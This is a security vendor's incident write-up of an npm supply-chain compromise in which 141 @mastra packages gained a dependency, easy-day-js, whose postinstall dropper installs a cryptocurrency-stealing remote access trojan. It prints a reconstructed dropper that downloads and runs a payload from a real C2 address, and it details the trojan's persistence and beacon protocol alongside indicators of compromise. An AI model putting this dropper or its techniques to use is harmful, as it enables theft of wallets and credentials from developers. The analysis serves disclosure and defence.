Mastra npm Scope Takeover: 141 Packages Drop a RAT
Table of Contents
Paste or upload a lockfile, parsed locally against 141 packages.
TL;DR
In the early hours of June 17, 2026 (UTC), an attacker using the npm account ehindero republished 141 packages in the @mastra scope, including @mastra/core, mastra, and create-mastra, in a burst that ran from 01:12 to 02:36. The library code was left untouched. The only change was a single new dependency added to each package: easy-day-js, a clone of dayjs that downloads and runs a cryptocurrency-stealing remote access trojan when you install it. The attacker laid the groundwork a day earlier: on June 16 they published the clean easy-day-js, then flipped on the malicious version minutes before the scope-wide republish.
The ehindero account was a real former Mastra contributor whose scope access was never revoked. npm has since pulled the malicious versions from the highest-profile packages and reverted their latest tag, but smaller packages and easy-day-js itself can still resolve to the payload.
If you installed an affected @mastra/* version since June 16, 2026, treat the machine as compromised. Roll back to a pre-incident version, rotate any credentials it could reach (cloud keys, LLM API keys, and any cryptocurrency wallets), and check the host for the artifacts listed at the bottom of this post.
Jump to the full list of compromised packages
How it works
The attacker never touched the Mastra source. Every malicious release adds exactly one line to package.json:
// @mastra/[email protected] package.json (excerpt)"dependencies": { "easy-day-js": "^1.11.21", ...}easy-day-js is a copy of dayjs, published a day earlier by a related account, sergey2016. It exists in two versions, and the split is the trick:
1.11.21is a clean dayjs copy with no install hooks.1.11.22adds apostinstallhook that runs the malware, and is taggedlatest.
The @mastra packages depend on ^1.11.21. Because 1.11.22 satisfies that caret range, npm install resolves to it. Audit the pinned 1.11.21 and you read a harmless date library. The payload rides in on 1.11.22, the version npm actually installs.
Provenance Dropped
Mastra ships its real releases from CI through npm’s trusted publisher flow, and each one carries SLSA provenance attestations. The attacker pushed the malicious versions from a personal token and dropped the provenance. The difference shows up on any two adjacent versions:
@mastra/[email protected]publisher: [email protected]provenance: yeseasy-day-js: no
@mastra/[email protected]publisher: [email protected]provenance: noeasy-day-js: yesThe same fingerprint repeats across the whole scope. Mastra generated provenance on CI publishes but did not require it, so a standard npm token could still publish without attestations. A signature-verifying install (npm audit signatures, or a policy that requires attestations) would have rejected every package in this wave.
How the attacker got in
The ehindero account was not a throwaway. Between November 2024 and February 2025 it published 15 alpha versions of @mastra/core (0.1.27-alpha.0 through 0.2.0-alpha.87), all clean, under the email [email protected]. The June 17 malicious publishes came from the same account name with a different email, [email protected], the same <name>[email protected] pattern as the sergey2016 account that published easy-day-js.
The email swap on a 16-month-dormant account points to an account takeover of a former contributor whose scope access was never revoked. npm does not expire scope permissions on inactivity, so one stale maintainer credential was enough to publish to the entire scope.
The dropper
The postinstall hook runs setup.cjs, which ships obfuscated. Stripped of the obfuscation, the flow is short: it turns off TLS verification so an HTTPS fetch works against a self-signed cert on a raw IP, downloads the real malware from 23.254.164[.]92 instead of shipping it in the package, runs it as a detached background process with no console output, and then deletes itself. Keeping the payload off the registry means a scan of easy-day-js finds nothing but a date library.
// reconstructed [email protected] setup.cjsprocess.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; // accept any TLS cert
(async () => { try { const c2 = 'https://23.254.164.92:8000/update/49890878';
// download the second stage and write it to a random temp file const payload = await (await fetch(c2)).text(); const file = path.join(os.tmpdir(), crypto.randomBytes(12).toString('hex') + '.js'); fs.writeFileSync(file, payload, 'utf8');
// run it in the background, handing it a second C2 to call home to child_process .spawn(process.execPath, [file, '23.254.164.123:443'], { cwd: os.tmpdir(), detached: true, stdio: 'ignore', windowsHide: true, }) .unref(); } catch { } finally { fs.rmSync(__filename, { force: true }); // delete setup.cjs }})();What the second stage does
The dropper hands the second stage a separate address, 23.254.164[.]123:443, and the C2 only serves the payload to a request whose User-Agent is Node’s default. A browser or curl request gets a 404, which is why some early reports called the payload unreachable. Pulled with the right User-Agent, it is a 41 KB obfuscated script (SHA256 221c45a7...badf), a multi-platform cryptocurrency stealer.
It reads Chrome, Brave, and Edge profiles looking for a hardcoded list of 166 cryptocurrency wallet extensions (MetaMask, Phantom, Solflare, Coinbase Wallet, OKX, Keplr, and 160 more), then installs persistence disguised as Node tooling so it survives a reboot:
| Platform | Mechanism | Disguise |
|---|---|---|
| macOS | LaunchAgent ~/Library/LaunchAgents/com.nvm.protocal.plist, payload ~/Library/NodePackages/protocal.cjs | poses as Node Version Manager |
| Linux | systemd user service ~/.config/systemd/user/nvmconf.service, config ~/.config/NodePackages | poses as an NVM config service |
| Windows | payload under C:\ProgramData\NodePackages, run via PowerShell -ExecutionPolicy Bypass -NoProfile -NonInteractive | same NodePackages pattern |
Talking to the C2
The RAT builds its C2 URL from the address the dropper handed it, hxxps://23.254.164[.]123/49890878, reusing the campaign ID /49890878 that also names the dropper endpoint. The first beacon is a single HTTPS POST carrying everything it collected, as base64-encoded JSON: username, hostname, OS and architecture, Node version, installed apps, wallet extensions, browser history, and running processes. The server answers an empty 200 when it has nothing to say, and the RAT sleeps ten minutes (configurable) before checking back. A command comes back tagged tpcsr. The RAT runs it and posts results tagged r0. It saves its config (victim ID, current C2, interval) to config.json under the platform NodePackages directory so a pushed C2 change survives reboots, and it derives fallback C2 addresses by XOR-ing the primary IP with a counter.
The initial beacon, base64-decoded, looks like this:
{ "type": "prepare", "targetId": "<generated-uid>", "info": { "common": { "username": "...", "hostname": "...", "osarch": "linux_x64 :: Node v22.22.2" }, "appInfo": [], "extInfo": [], "historyInfo": [], "procInfo": [] }}Unlike the dropper endpoint, this RAT C2 was still live and accepting beacons at the time of analysis, fronted by a default wolfSSL test certificate (CN=www.wolfssl.com, expired January 2018).
The Hostwinds hosting, the clean-then-armed typosquat, the setup postinstall dropper (TLS off, detached spawn, self-delete), and the crypto-wallet-stealing payload all match the Axios npm compromise that Microsoft attributed to Sapphire Sleet (BlueNoroff) earlier in 2026. Attribution for this incident is not confirmed, but the tradecraft overlap is close.
Indicators of Compromise
Accounts and packages
- npm accounts
ehindero([email protected]) andsergey2016([email protected]) - Any
@mastra/*package.jsonwith"easy-day-js": "^1.11.21"and no provenance attestations [email protected](postinstall: node setup.cjs) is the dropper;1.11.21is the clean precursor
Network
- Dropper C2
23.254.164[.]92:8000/update/49890878(User-Agent gated) and RAT C223.254.164[.]123/49890878(HTTPS POST beacons, still live), both Hostwinds hosts (hwsrv-1327786/hwsrv-1327785.hostwindsdns.com) in23.254.164.0/24 - Shared campaign ID
/49890878; beacon interval 10 min (configurable); RAT C2 TLS certCN=www.wolfssl.com(expired Jan 2018) - Second-stage C2 User-Agent:
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
Host artifacts
- Temp dir:
.pkg_history,.pkg_logs, and a randomly named<hex>.js - macOS:
~/Library/LaunchAgents/com.nvm.protocal.plist,~/Library/NodePackages/protocal.cjs - Linux:
~/.config/systemd/user/nvmconf.service,~/.config/NodePackages - Windows:
C:\ProgramData\NodePackages
Hashes (SHA256)
- Stage-2 payload:
221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badf [email protected]tarball:4a8860240e4231c3a74c81949be655a28e096a7d72f38fbe84e5b37636b98417[email protected]tarball:ae70dd4f6bc0d1c8c2848e4e6b51934626c4818dcb5af99d080ddbd7dc337185
Full list of compromised packages
| ecosystem | name | version | |
|---|---|---|---|
| 1 | npm | @mastra/acp | 0.2.2 |
| 2 | npm | @mastra/agent-browser | 0.3.2 |
| 3 | npm | @mastra/agent-builder | 1.0.42 |
| 4 | npm | @mastra/agentcore | 0.2.2 |
| 5 | npm | @mastra/agentfs | 0.1.1 |
| 6 | npm | @mastra/ai-sdk | 1.4.6 |
| 7 | npm | @mastra/arize | 1.2.3 |
| 8 | npm | @mastra/arthur | 0.3.3 |
| 9 | npm | @mastra/astra | 1.0.2 |
| 10 | npm | @mastra/auth | 1.0.3 |
| 11 | npm | @mastra/auth-auth0 | 1.0.2 |
| 12 | npm | @mastra/auth-better-auth | 1.0.4 |
| 13 | npm | @mastra/auth-clerk | 1.0.3 |
| 14 | npm | @mastra/auth-cloud | 1.1.4 |
| 15 | npm | @mastra/auth-firebase | 1.0.1 |
| 16 | npm | @mastra/auth-okta | 0.0.5 |
| 17 | npm | @mastra/auth-studio | 1.2.4 |
| 18 | npm | @mastra/auth-supabase | 1.0.2 |
| 19 | npm | @mastra/auth-workos | 1.5.3 |
| 20 | npm | @mastra/azure | 0.2.3 |
| 21 | npm | @mastra/blaxel | 0.4.2 |
| 22 | npm | @mastra/braintrust | 1.1.4 |
| 23 | npm | @mastra/brightdata | 0.2.2 |
| 24 | npm | @mastra/browser-firecrawl | 0.1.1 |
| 25 | npm | @mastra/browser-viewer | 0.1.3 |
| 26 | npm | @mastra/chroma | 1.0.2 |
| 27 | npm | @mastra/clickhouse | 1.10.1 |
| 28 | npm | @mastra/claude | 1.0.3 |
| 29 | npm | @mastra/client-js | 1.24.1 |
| 30 | npm | @mastra/cloud | 0.1.24 |
| 31 | npm | @mastra/cloudflare | 1.4.2 |
| 32 | npm | @mastra/cloudflare-d1 | 1.0.7 |
| 33 | npm | @mastra/codemod | 1.0.4 |
| 34 | npm | @mastra/convex | 1.2.2 |
| 35 | npm | @mastra/core | 1.42.1 |
| 36 | npm | @mastra/couchbase | 1.0.4 |
| 37 | npm | @mastra/cursor | 0.2.1 |
| 38 | npm | @mastra/dane | 1.0.2 |
| 39 | npm | @mastra/datadog | 1.2.5 |
| 40 | npm | @mastra/daytona | 0.4.2 |
| 41 | npm | @mastra/deployer | 1.42.1 |
| 42 | npm | @mastra/deployer-cloud | 1.42.1 |
| 43 | npm | @mastra/deployer-cloudflare | 1.1.44 |
| 44 | npm | @mastra/deployer-netlify | 1.1.20 |
| 45 | npm | @mastra/deployer-vercel | 1.1.38 |
| 46 | npm | @mastra/docker | 0.3.1 |
| 47 | npm | @mastra/dsql | 1.0.3 |
| 48 | npm | @mastra/duckdb | 1.4.3 |
| 49 | npm | @mastra/dynamodb | 1.0.9 |
| 50 | npm | @mastra/e2b | 0.3.4 |
| 51 | npm | @mastra/editor | 0.11.3 |
| 52 | npm | @mastra/elasticsearch | 1.2.1 |
| 53 | npm | @mastra/engine | 0.1.1 |
| 54 | npm | @mastra/evals | 1.3.1 |
| 55 | npm | @mastra/express | 1.3.31 |
| 56 | npm | @mastra/fastembed | 1.1.3 |
| 57 | npm | @mastra/fastify | 1.3.31 |
| 58 | npm | @mastra/files-sdk | 0.2.1 |
| 59 | npm | @mastra/gcs | 0.2.3 |
| 60 | npm | @mastra/github-signals | 0.1.2 |
| 61 | npm | @mastra/google-cloud-pubsub | 1.0.6 |
| 62 | npm | @mastra/google-drive | 0.1.1 |
| 63 | npm | @mastra/hono | 1.4.26 |
| 64 | npm | @mastra/inngest | 1.5.2 |
| 65 | npm | @mastra/koa | 1.5.14 |
| 66 | npm | @mastra/laminar | 1.2.3 |
| 67 | npm | @mastra/lance | 1.0.7 |
| 68 | npm | @mastra/langfuse | 1.3.6 |
| 69 | npm | @mastra/langsmith | 1.2.4 |
| 70 | npm | @mastra/libsql | 1.13.1 |
| 71 | npm | @mastra/loggers | 1.1.3 |
| 72 | npm | @mastra/longmemeval | 1.0.50 |
| 73 | npm | @mastra/mcp | 1.10.1 |
| 74 | npm | @mastra/mcp-docs-server | 1.1.47 |
| 75 | npm | @mastra/mcp-registry-registry | 1.0.2 |
| 76 | npm | @mastra/mem0 | 0.1.14 |
| 77 | npm | @mastra/memory | 1.20.4 |
| 78 | npm | @mastra/modal | 0.2.2 |
| 79 | npm | @mastra/mongodb | 1.9.3 |
| 80 | npm | @mastra/mssql | 1.3.2 |
| 81 | npm | @mastra/mysql | 0.1.1 |
| 82 | npm | @mastra/nestjs | 0.1.15 |
| 83 | npm | @mastra/node-audio | 0.1.8 |
| 84 | npm | @mastra/observability | 1.14.2 |
| 85 | npm | @mastra/openai | 1.0.2 |
| 86 | npm | @mastra/opencode | 0.0.47 |
| 87 | npm | @mastra/opensearch | 1.0.3 |
| 88 | npm | @mastra/otel-bridge | 1.2.3 |
| 89 | npm | @mastra/otel-exporter | 1.2.3 |
| 90 | npm | @mastra/perplexity | 0.1.1 |
| 91 | npm | @mastra/pg | 1.13.1 |
| 92 | npm | @mastra/pinecone | 1.0.2 |
| 93 | npm | @mastra/playground-ui | 33.0.1 |
| 94 | npm | @mastra/posthog | 1.0.29 |
| 95 | npm | @mastra/qdrant | 1.0.3 |
| 96 | npm | @mastra/rag | 2.2.2 |
| 97 | npm | @mastra/railway | 0.1.1 |
| 98 | npm | @mastra/react | 1.0.1 |
| 99 | npm | @mastra/redis | 1.1.3 |
| 100 | npm | @mastra/redis-streams | 0.0.4 |
| 101 | npm | @mastra/s3 | 0.5.3 |
| 102 | npm | @mastra/schema-compat | 1.2.12 |
| 103 | npm | @mastra/sentry | 1.1.4 |
| 104 | npm | @mastra/server | 2.1.1 |
| 105 | npm | @mastra/slack | 1.3.1 |
| 106 | npm | @mastra/spanner | 1.1.2 |
| 107 | npm | @mastra/speech-azure | 0.2.1 |
| 108 | npm | @mastra/speech-elevenlabs | 0.2.1 |
| 109 | npm | @mastra/speech-google | 0.2.1 |
| 110 | npm | @mastra/speech-ibm | 0.2.1 |
| 111 | npm | @mastra/speech-murf | 0.2.1 |
| 112 | npm | @mastra/speech-openai | 0.2.1 |
| 113 | npm | @mastra/speech-replicate | 0.2.1 |
| 114 | npm | @mastra/speech-speechify | 0.2.1 |
| 115 | npm | @mastra/stagehand | 0.2.5 |
| 116 | npm | @mastra/tavily | 1.0.3 |
| 117 | npm | @mastra/temporal | 0.1.14 |
| 118 | npm | @mastra/turbopuffer | 1.0.3 |
| 119 | npm | @mastra/twilio | 1.0.2 |
| 120 | npm | @mastra/upstash | 1.1.3 |
| 121 | npm | @mastra/vectorize | 1.0.3 |
| 122 | npm | @mastra/vercel | 1.0.1 |
| 123 | npm | @mastra/voice-aws-nova-sonic | 0.1.4 |
| 124 | npm | @mastra/voice-azure | 0.11.2 |
| 125 | npm | @mastra/voice-cloudflare | 0.12.3 |
| 126 | npm | @mastra/voice-deepgram | 0.12.2 |
| 127 | npm | @mastra/voice-elevenlabs | 0.12.2 |
| 128 | npm | @mastra/voice-gladia | 0.12.2 |
| 129 | npm | @mastra/voice-google | 0.12.3 |
| 130 | npm | @mastra/voice-google-gemini-live | 0.12.2 |
| 131 | npm | @mastra/voice-inworld | 0.3.1 |
| 132 | npm | @mastra/voice-modelslab | 0.1.2 |
| 133 | npm | @mastra/voice-murf | 0.12.3 |
| 134 | npm | @mastra/voice-openai | 0.12.3 |
| 135 | npm | @mastra/voice-openai-realtime | 0.12.6 |
| 136 | npm | @mastra/voice-playai | 0.12.2 |
| 137 | npm | @mastra/voice-sarvam | 1.0.2 |
| 138 | npm | @mastra/voice-speechify | 0.12.2 |
| 139 | npm | @mastra/voice-xai-realtime | 0.1.2 |
| 140 | npm | create-mastra | 1.13.1 |
| 141 | npm | easy-day-js | 1.11.22 |
| 142 | npm | mastra | 1.13.1 |
| No matching rows | |||
- npm
- oss
- malware
- supply-chain
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

astro.config.mjs Supply Chain Attack via Blockchain C2
An obfuscated IIFE hidden in astro.config.mjs fires at every build, beacons an HTTP C2, and pulls staged commands from a Tron-to-BSC blockchain dead drop.

Inside the Miasma Software Supply Chain Attack Toolkit
The Miasma worm source code appeared on GitHub through compromised developer accounts. The codebase is a full supply chain attack toolkit with credential exfiltration across AWS, Azure, GCP, and...

Miasma Worm: Most Infected GitHub Repos Are Still Live
Eight days after the Miasma worm forged a credential stealer into public GitHub repositories, most are still serving it. A re-scan of the published victim list plus a fresh code-search sweep found...

Config Files That Run Code: Supply Chain Security Blindspot
Editor and package-manager config files auto-execute commands when a developer opens a folder or installs dependencies. The Miasma worm wired one dropper into seven of them across Claude Code,...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
